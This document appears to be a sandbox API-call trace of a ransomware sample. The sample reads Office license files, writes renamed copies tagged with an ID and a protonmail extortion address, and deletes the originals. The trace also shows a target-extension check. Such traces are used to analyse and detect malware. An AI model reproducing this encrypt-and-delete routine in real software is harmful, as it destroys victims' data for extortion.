	[0200.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88
	[0200.858] lstrlenW (lpString=".jpg") returned 4
	[0200.858] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0200.859] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0200.859] lstrlenW (lpString="O365HomePremR_SubTest3-pl.xrm-ms") returned 32
	[0200.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0200.859] GetFileSizeEx (in: hFile=0x5d8, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=11179) returned 1
	[0200.859] CloseHandle (hObject=0x5d8) returned 1
	[0200.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-pl.xrm-ms")) returned 0x220
	[0200.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0200.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0200.860] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.860] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0200.861] GetLastError () returned 0x0
	[0200.861] ReadFile (in: hFile=0x5d8, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x2bab, lpOverlapped=0x0) returned 1
	[0200.863] WriteFile (in: hFile=0x5bc, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x2bb0, lpOverlapped=0x0) returned 1
	[0200.864] ReadFile (in: hFile=0x5d8, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0200.864] WriteFile (in: hFile=0x5bc, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x114, lpOverlapped=0x0) returned 1
	[0200.864] SetEndOfFile (hFile=0x5bc) returned 1
	[0200.865] CloseHandle (hObject=0x5bc) returned 1
	[0200.865] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.865] SetEndOfFile (hFile=0x5d8) returned 1
	[0200.867] CloseHandle (hObject=0x5d8) returned 1
	[0200.868] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0200.894] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-pl.xrm-ms")) returned 1
	[0200.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82
	[0200.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82
	[0200.896] lstrlenW (lpString=".doc") returned 4
	[0200.896] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0200.896] lstrlenW (lpString=".docx") returned 5
	[0200.896] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0200.896] lstrlenW (lpString=".pdf") returned 4
	[0200.896] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0200.896] lstrlenW (lpString=".xls") returned 4
	[0200.896] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0200.896] lstrlenW (lpString=".xlsx") returned 5
	[0200.896] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0200.896] lstrlenW (lpString=".ppt") returned 4
	[0200.896] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0200.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82
	[0200.896] lstrlenW (lpString=".zip") returned 4
	[0200.896] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0200.896] lstrlenW (lpString=".rar") returned 4
	[0200.896] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0200.896] lstrlenW (lpString=".bz2") returned 4
	[0200.896] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0200.896] lstrlenW (lpString=".7z") returned 3
	[0200.896] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0200.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82
	[0200.896] lstrlenW (lpString=".dbf") returned 4
	[0200.896] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0200.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82
	[0200.896] lstrlenW (lpString=".1cd") returned 4
	[0200.896] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0200.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82
	[0200.896] lstrlenW (lpString=".jpg") returned 4
	[0200.896] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0200.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82
	[0200.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82
	[0200.897] lstrlenW (lpString=".doc") returned 4
	[0200.897] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0200.897] lstrlenW (lpString=".docx") returned 5
	[0200.897] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0200.897] lstrlenW (lpString=".pdf") returned 4
	[0200.897] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0200.897] lstrlenW (lpString=".xls") returned 4
	[0200.897] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0200.897] lstrlenW (lpString=".xlsx") returned 5
	[0200.897] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0200.897] lstrlenW (lpString=".ppt") returned 4
	[0200.897] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0200.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82
	[0200.897] lstrlenW (lpString=".zip") returned 4
	[0200.897] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0200.897] lstrlenW (lpString=".rar") returned 4
	[0200.897] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0200.897] lstrlenW (lpString=".bz2") returned 4
	[0200.897] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0200.897] lstrlenW (lpString=".7z") returned 3
	[0200.897] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0200.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82
	[0200.897] lstrlenW (lpString=".dbf") returned 4
	[0200.897] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0200.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82
	[0200.897] lstrlenW (lpString=".1cd") returned 4
	[0200.897] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0200.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82
	[0200.897] lstrlenW (lpString=".jpg") returned 4
	[0200.897] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0200.898] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0200.898] lstrlenW (lpString="O365HomePremR_SubTest3-ppd.xrm-ms") returned 33
	[0200.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0200.899] GetFileSizeEx (in: hFile=0x5d8, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=23134) returned 1
	[0200.899] CloseHandle (hObject=0x5d8) returned 1
	[0200.899] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ppd.xrm-ms")) returned 0x220
	[0201.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0201.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0201.302] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.302] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0201.303] GetLastError () returned 0x0
	[0201.303] ReadFile (in: hFile=0x510, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x5a5e, lpOverlapped=0x0) returned 1
	[0201.319] WriteFile (in: hFile=0x5e8, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x5a60, lpOverlapped=0x0) returned 1
	[0201.320] ReadFile (in: hFile=0x510, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0201.320] WriteFile (in: hFile=0x5e8, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x116, lpOverlapped=0x0) returned 1
	[0201.321] SetEndOfFile (hFile=0x5e8) returned 1
	[0201.321] CloseHandle (hObject=0x5e8) returned 1
	[0201.321] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.321] SetEndOfFile (hFile=0x510) returned 1
	[0201.324] CloseHandle (hObject=0x510) returned 1
	[0201.324] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0201.325] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ppd.xrm-ms")) returned 1
	[0201.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83
	[0201.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83
	[0201.326] lstrlenW (lpString=".doc") returned 4
	[0201.326] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0201.326] lstrlenW (lpString=".docx") returned 5
	[0201.326] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0201.326] lstrlenW (lpString=".pdf") returned 4
	[0201.326] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0201.326] lstrlenW (lpString=".xls") returned 4
	[0201.326] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0201.326] lstrlenW (lpString=".xlsx") returned 5
	[0201.326] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0201.326] lstrlenW (lpString=".ppt") returned 4
	[0201.326] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0201.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83
	[0201.326] lstrlenW (lpString=".zip") returned 4
	[0201.326] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0201.326] lstrlenW (lpString=".rar") returned 4
	[0201.326] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0201.326] lstrlenW (lpString=".bz2") returned 4
	[0201.326] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0201.326] lstrlenW (lpString=".7z") returned 3
	[0201.326] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0201.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83
	[0201.326] lstrlenW (lpString=".dbf") returned 4
	[0201.326] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0201.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83
	[0201.326] lstrlenW (lpString=".1cd") returned 4
	[0201.326] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0201.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83
	[0201.327] lstrlenW (lpString=".jpg") returned 4
	[0201.327] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0201.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83
	[0201.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83
	[0201.327] lstrlenW (lpString=".doc") returned 4
	[0201.327] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0201.327] lstrlenW (lpString=".docx") returned 5
	[0201.327] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0201.327] lstrlenW (lpString=".pdf") returned 4
	[0201.327] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0201.327] lstrlenW (lpString=".xls") returned 4
	[0201.327] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0201.327] lstrlenW (lpString=".xlsx") returned 5
	[0201.327] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0201.327] lstrlenW (lpString=".ppt") returned 4
	[0201.327] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0201.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83
	[0201.327] lstrlenW (lpString=".zip") returned 4
	[0201.327] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0201.327] lstrlenW (lpString=".rar") returned 4
	[0201.327] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0201.327] lstrlenW (lpString=".bz2") returned 4
	[0201.327] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0201.327] lstrlenW (lpString=".7z") returned 3
	[0201.327] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0201.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83
	[0201.327] lstrlenW (lpString=".dbf") returned 4
	[0201.327] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0201.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83
	[0201.327] lstrlenW (lpString=".1cd") returned 4
	[0201.327] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0201.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83
	[0201.328] lstrlenW (lpString=".jpg") returned 4
	[0201.328] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0201.328] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0201.328] lstrlenW (lpString="O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 36
	[0201.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0201.329] GetFileSizeEx (in: hFile=0x510, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=11630) returned 1
	[0201.329] CloseHandle (hObject=0x510) returned 1
	[0201.329] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ul-oob.xrm-ms")) returned 0x220
	[0201.329] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0201.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0201.329] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.329] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0201.330] GetLastError () returned 0x0
	[0201.330] ReadFile (in: hFile=0x510, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x2d6e, lpOverlapped=0x0) returned 1
	[0201.337] WriteFile (in: hFile=0x5e8, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0201.338] ReadFile (in: hFile=0x510, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0201.338] WriteFile (in: hFile=0x5e8, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x11c, lpOverlapped=0x0) returned 1
	[0201.338] SetEndOfFile (hFile=0x5e8) returned 1
	[0201.338] CloseHandle (hObject=0x5e8) returned 1
	[0201.338] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.339] SetEndOfFile (hFile=0x510) returned 1
	[0201.341] CloseHandle (hObject=0x510) returned 1
	[0201.342] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0201.342] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ul-oob.xrm-ms")) returned 1
	[0201.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86
	[0201.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86
	[0201.343] lstrlenW (lpString=".doc") returned 4
	[0201.343] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0201.343] lstrlenW (lpString=".docx") returned 5
	[0201.343] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0201.343] lstrlenW (lpString=".pdf") returned 4
	[0201.343] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0201.343] lstrlenW (lpString=".xls") returned 4
	[0201.343] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0201.343] lstrlenW (lpString=".xlsx") returned 5
	[0201.343] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0201.343] lstrlenW (lpString=".ppt") returned 4
	[0201.343] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0201.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86
	[0201.343] lstrlenW (lpString=".zip") returned 4
	[0201.343] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0201.343] lstrlenW (lpString=".rar") returned 4
	[0201.343] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0201.343] lstrlenW (lpString=".bz2") returned 4
	[0201.343] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0201.343] lstrlenW (lpString=".7z") returned 3
	[0201.343] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0201.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86
	[0201.344] lstrlenW (lpString=".dbf") returned 4
	[0201.344] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0201.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86
	[0201.344] lstrlenW (lpString=".1cd") returned 4
	[0201.344] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0201.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86
	[0201.344] lstrlenW (lpString=".jpg") returned 4
	[0201.344] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0201.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86
	[0201.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86
	[0201.344] lstrlenW (lpString=".doc") returned 4
	[0201.344] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0201.344] lstrlenW (lpString=".docx") returned 5
	[0201.344] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0201.344] lstrlenW (lpString=".pdf") returned 4
	[0201.344] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0201.344] lstrlenW (lpString=".xls") returned 4
	[0201.344] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0201.344] lstrlenW (lpString=".xlsx") returned 5
	[0201.344] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0201.344] lstrlenW (lpString=".ppt") returned 4
	[0201.344] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
